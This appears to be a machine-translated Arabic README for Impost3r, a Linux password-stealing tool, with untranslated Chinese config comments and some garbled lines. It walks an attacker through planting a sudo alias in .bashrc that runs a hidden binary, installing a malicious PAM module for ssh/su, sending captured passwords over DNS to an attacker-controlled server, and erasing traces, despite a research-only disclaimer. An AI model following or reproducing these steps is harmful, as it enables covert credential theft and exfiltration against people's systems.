إنجليزي
Impost3r هي أداة مكتوبة بلغة C وتستخدم لسرقة كلمات المرور المختلفة (ssh، su، sudo) في نظام Linux.
يمكن للمستخدمين استخدام هذا البرنامج لإنشاء حفرة مائية لسرقة كلمات مرور المستخدمين الشرعيين
هذه الأداة مخصصة للبحث والتدريس في مجال السلامة فقط، ويتحمل المستخدم كافة المسؤوليات القانونية والمسؤوليات ذات الصلة الناتجة عن استخدام هذه الأداة! المؤلف لا يتحمل أي مسؤوليات قانونية أو ذات صلة!
محو آثار السلوك تلقائيًا
نقل النتائج عبر بروتوكول DNS
المستخدم غير مبال
دول مجلس التعاون الخليجي
يمكن استخدام Impost3r لسرقة كلمات المرور بما في ذلك خدمات sudo وsu وssh ويمكن تقسيم هذه الخدمات الثلاث تقريبًا إلى فئتين، Sudo وssh/su، وسنناقشها في حالتين أدناه.
إنه يتطلب فقط أذونات المستخدم العادية ولا يتطلب الجذر، ومع ذلك، يمكنه فقط سرقة كلمة المرور الخاصة بالمستخدم المقابل ولا يمكنه سرقة كلمات مرور المستخدمين الآخرين.
أولاً، افترض أن المهاجم يتحكم في خادم يتمتع بحقوق مستخدم عادية.
تحقق مما إذا كان الملف .bash_profile
موجودًا في الدليل الجذر للمستخدم. في حالة وجود .bash_profile
: تحقق مما إذا كان .bashrc
محملاً بشكل نشط في ملف .bash_profile
إذا تم تحميله بشكل نشط، فتخط هذه الخطوة والفحصين التاليين واستمر في عملية التحقق التالية إذا لم يتم تحميله بشكل نشط، فسيتم تخطي خطوتين التحقق التاليتين، ويتم استبدال جميع العمليات الخاصة بـ .bashrc
فيما يلي بعمليات .bash_profile
!!! إذا لم يكن .bash_profile
موجودًا: انتقل إلى الخطوة التالية من التحقق.
تحقق مما إذا كان الملف .bash_login
موجودًا في الدليل الجذر للمستخدم. في حالة وجود .bash_login
: تحقق مما إذا كان .bashrc
محملاً بشكل نشط في ملف .bash_login
إذا تم تحميله بشكل نشط، فتخط هذه الخطوة والتحقق التالي واستمر في العمليات اللاحقة إذا لم يكن الأمر كذلك، قم بتخطي هذه الخطوة والخطوة التالية. ثم قم بتخطي الفحص التالي، وسيتم استبدال جميع عمليات .bashrc
فيما يلي بعمليات .bash_login
!!! إذا لم يكن .bash_login
موجودًا؛ الاختيار التالي.
تحقق من وجود ملف .profile
في الدليل الجذر للمستخدم. في حالة وجود ملف .profile
: تحقق مما إذا كان تم تحميل .bashrc
بشكل نشط في ملف .profile
(يتم تحميله بشكل افتراضي)، فتخطى هذه الخطوة وتابع العمليات اللاحقة، إذا لم يتم تحميلها بشكل نشط، فسيتم استبدال جميع العمليات الخاصة بـ .bashrc
فيما يلي بعمليات .profile
!!! ؛ إذا لم يكن .profile
موجودًا، فمن حيث المبدأ، لن يكون من الممكن استخدام Impost3r، بالطبع، يمكنك أيضًا تحديد ما إذا كنت تريد إنشاء ملف .bash_profile
أو ملف .profile
اعتمادًا على الموقف، وكتابة رمز تحميل مشابه لـ. بعد ذلك لتحميل .bashrc
if [ -n "$BASH_VERSION" ]; then # include .bashrc if it exists if [ -f "$HOME/.bashrc" ]; then . "$HOME/.bashrc" fi fi
انسخ نسخة من .bashrc
الخاص بالمستخدم : cp ~/.bashrc /tmp/
، ثم ضع هذه النسخة في المسار المخصص للمهاجم (في هذا المثال، يتم وضعها في الدليل /tmp/، ويمكن للمهاجم تعديلها)
قم بتعديل .bashrc
(~/.bashrc) في الدليل الجذر للمستخدم وأضف العبارة التالية في السطر الأخير (حيث يجب أن يكون "/tmp/.impost3r" متوافقًا مع اسم الملف أدناه):
alias sudo='impost3r() { if [ -f "/tmp/.impost3r" ]; then /tmp/.impost3r "$@" && unalias sudo else unalias sudo;sudo "$@" fi }; impost3r'
بعد اكتمال الإضافة، احفظ الملف وقم بتنفيذ source ~/.bashrc
ثم يحتاج المهاجم إلى تعديل كود مصدر Impost3r /sudo/main.h
:
/* Custom setting */ # define FILENAME "/tmp/.impost3r" 设置Impost3r在目标服务器上的位置 # define BACKUP_ORI_FILENAME ".bashrc" 表明攻击者所备份的源用户配置文件是.bashrc还是.bash_profile、.profile、.bash_login # define BACKUP_ORI_PATH "/tmp/.bashrc" 表明攻击者所备份的源用户配置文件在目标服务器上的位置 # define SAVE_OR_SEND 0 设置在窃取成功后是将结果保存在目标机器上或者是发送至攻击者控制的机器(发送=0,保存=1,默认为发送) /* Send to server */ # define YOUR_DOMAIN ".com" 注意,如果你不想购买一个域名来接收Impost3r回传的消息且被植入Impost3r的目标服务器并未禁止向你所控制的dns服务器的53端口的直接udp连接,那么这里的域名请使用默认值; 但是如果被植入Impost3r的目标服务器严格限制了dns请求的出站,那么请将YOUR_DOMAIN的值改为你所购买的域名,例如“.example.com”,并将这个域名的NS记录配置成你所控制的DNS服务器地址,在此DNS服务器上运行Fdns,并将下方REMOTE_ADDRESS的值更改为被植入Impost3r的目标服务器的默认dns地址,REMOTE_PORT更改为被植入Impost3r的目标服务器的默认dns地址所监听的dns服务端口(绝大多数情况下都是53端口) # define MAX_RESEND 30 设置当窃取到密码之后,Impost3r向攻击者服务器发送用户密码的最大重试次数 # define RESEND_INTERVAL 5 设置每一次发送密码的间隔 # define REMOTE_ADDRESS "192.168.0.12" 设置回送密码的远程地址 # define REMOTE_PORT 53 设置回送密码的远程端口 /* Save to local */ # define SAVE_LOCATION "/tmp/.cache" 设置结果文件保存的位置,在SAVE_OR_SEND设置为1的情况下
بعد اكتمال التعديل، قم بحفظ make
وتنفيذه في الدليل الحالي
احصل على ملف .impost3r
المترجم في الدليل الحالي
قم بتحميل (حاول التجميع على الخادم الهدف لمنع حدوث أخطاء غير متوقعة) ملف .impost3r
إلى المجلد /tmp/
الخاص بالخادم الهدف (مثال فقط، يمكنك تعديله بنفسك، طالما أنه هو نفس التعريف الموجود في كود المصدر)
يبدأ المهاجم برنامج خادم DNS على الخادم الخاص به وينتظر حتى يستخدم المستخدم الشرعي sudo
للحصول على كلمة المرور.
في حالة سرقة كلمة مرور sudo، سيقوم Impost3r تلقائيًا بمسح الآثار بعد النجاح، ولا يحتاج المهاجم إلى الصعود وتنظيفها يدويًا.
سيحدد Impost3r تلقائيًا ما إذا كانت كلمة المرور التي أدخلها المستخدم هي كلمة المرور الصحيحة، ولن ينهي العملية حتى يقوم المستخدم بإدخال كلمة المرور الصحيحة ومسح الآثار.
يرجى استخدام sudo -v
لتحديد ما إذا كان المستخدم الحالي موجودًا في مجموعة sudoer
قبل استخدام Impost3r. إذا لم يكن الأمر كذلك، فلا تستخدم Impost3r.
تختلف سرقة كلمات مرور ssh/su عن طريقة سرقة واستغلال كلمة مرور sudo المذكورة أعلاه، فهي تتطلب امتيازات الجذر ويمكنها سرقة أي كلمة مرور للمستخدم.
ما يلي يأخذ Ubuntu كمثال. قد تختلف الملفات المستخدمة وطريقة تعديلها.
أولاً، لنفترض أن المهاجم يتحكم في الخادم
تم الحصول على أذونات الجذر من خلال عملية تصعيد الامتيازات (أو بدأ المسؤول الجميل الخدمة بأذونات الجذر)
قم أولاً بتحرير ملف التعليمات البرمجية المصدر /ssh_su/main.h
الخاص بـ Impost3r
/* Custom setting */ # define SSH_OR_BOTH 0 设置偷取模式,0代表仅偷取ssh密码,1代表偷取ssh及su密码,默认为0(后面会讲到区别) # define SAVE_OR_SEND 0 设置在窃取成功后是将结果保存在目标机器上或者是发送至攻击者控制的机器(发送=0,保存=1,默认为发送) /* Send to server */ # define YOUR_DOMAIN ".com" 注意,如果你不想购买一个域名来接收Impost3r回传的消息且被植入Impost3r的目标服务器并未禁止向你所控制的dns服务器的53端口的直接udp连接,那么这里的域名请使用默认值; 但是如果被植入Impost3r的目标服务器严格限制了dns请求的出站,那么请将YOUR_DOMAIN的值改为你所购买的域名,例如“.example.com”,并将这个域名的NS记录配置成你所控制的DNS服务器地址,在此DNS服务器上运行Fdns,并将下方REMOTE_ADDRESS的值更改为被植入Impost3r的目标服务器的默认dns地址,REMOTE_PORT更改为被植入Impost3r的目标服务器的默认dns地址所监听的dns服务端口(绝大多数情况下都是53端口) # define MAX_RESEND 30 设置当窃取到密码之后,Impost3r向攻击者服务器发送用户密码的最大重试次数(仅当SSH_OR_BOTH为0,此选项才有效) # define RESEND_INTERVAL 5 设置每一次发送密码的间隔(仅当SSH_OR_BOTH为0,此选项才有效) # define REMOTE_ADDRESS "192.168.0.12" 设置回送密码的远程地址 # define REMOTE_PORT 53 设置回送密码的远程端口 /* Save to local */ # define SAVE_LOCATION "/tmp/.sshsucache" 设置结果文件保存的位置,在SAVE_OR_SEND设置为1的情况下
بعد اكتمال التعديل، قم بحفظ make
وتنفيذه في الدليل الحالي
احصل على الملف المترجم impost3r.so
قم بتحميل impost3r.so
المترجم (حاول تجميعه على الخادم الهدف لمنع حدوث أخطاء غير متوقعة) إلى /lib/x86_64-linux-gnu/security
للجهاز الهدف (قد يكون للأجهزة المختلفة أسماء مجلدات مختلفة، يرجى وضعها وفقًا لـ الموقف) )
أدخل /etc/pam.d
هناك حالتان في هذا الوقت إذا كان الوضع المحدد هو سرقة كلمة مرور ssh فقط، فأنت بحاجة إلى تنفيذ vi sshd
وإضافة العبارة التالية في نهاية الملف (يجب أن تكون كذلك). لاحظ هنا أنه باستثناء Ubuntu، قد تكون الملفات الأخرى المستندة إلى نظام Linux مختلفة تمامًا عن Ubuntu. يوصى بقراءة القواعد بنفسك ثم إضافتها في الموقع المناسب).
auth optional impost3r.so account optional impost3r.so
احفظ واخرج، أعد تشغيل خدمة sshd service sshd restart
إذا اخترت سرقة كلمتي مرور ssh وsu معًا، فستحتاج إلى تنفيذ vi common-auth
وإضافة نفس العبارة والحفظ والخروج وإعادة تشغيل خدمة sshd أيضًا.
يبدأ المهاجم برنامج خادم DNS على الخادم الخاص به وينتظر حتى يستخدم المستخدم الشرعي ssh
لتسجيل الدخول إلى الجهاز المستهدف أو يستخدم su
لتبديل المستخدمين للحصول على كلمة المرور.
في حالة سرقة كلمة مرور ssh/su، لا يمكن لـ Impost3r مسح الآثار لأسباب تتعلق بالإذن، ويحتاج المهاجم إلى مسحها بنفسه.
يرجى ملاحظة أنه إذا تم تعيين كلمة مرور SSH فقط للسرقة، فمن المؤكد بشكل أساسي أن المهاجم سيحصل على نتيجة السرقة بنسبة 100٪، ولكن إذا تم تعيين كليهما للسرقة في نفس الوقت، فليس من الضروري ضمان أن سيتلقى المهاجم نتيجة السرقة (فقط إذا تم ضبطه عند الإرسال لنظام أسماء النطاقات، فلن يتأثر إعداده للحفظ محليًا)
لا يُنصح بسرقة كلمة مرور su، وبما أن كلمة مرور ssh الخاصة بالمستخدم هي نفس كلمة مرور su، إذا لم تتمكن من سرقة كلمة مرور su، فلا تسرقها. كلمة مرور ssh كافية.
لا تتم سرقة كلمات المرور الفارغة افتراضيًا، يرجى محاولة معرفة ما إذا كان المستخدم لديه كلمة مرور فارغة (تحقق مما إذا كان هناك PermitEmptyPasswords yes
في ملف التكوين sshd. إذا كان فارغًا، فهو لا يزال شبحًا.)
لقد استخدمت Fdns لبرنامج خادم Dns وقمت بتعديل بعض المعلمات. يمكنك العثور على الكود المصدري المعدل في المجلد Fdns. يرجى استخدام الأمر gcc -o dns main.c util.c
لتجميعه بنفسك (لاحظ أنه يجب عليك تعديله أول منفذ استماع في main.c)
قبل تجميع Fdns، يرجى التحقق من قيمة YOUR_DOMAIN
في util.h
للتأكد من أن هذه القيمة متوافقة مع قيمة YOUR_DOMAIN
المستخدمة عند تجميع برنامج Impost3r المزروع على الخادم، وإلا فقد تفشل السرقة.
تم تطوير هذا البرنامج ودراسته فقط في أوقات فراغك. قد تكون هناك أخطاء في وظائفه. أرجو أن تسامحني وأرحب بتعليقاتك.
و
libbaseencode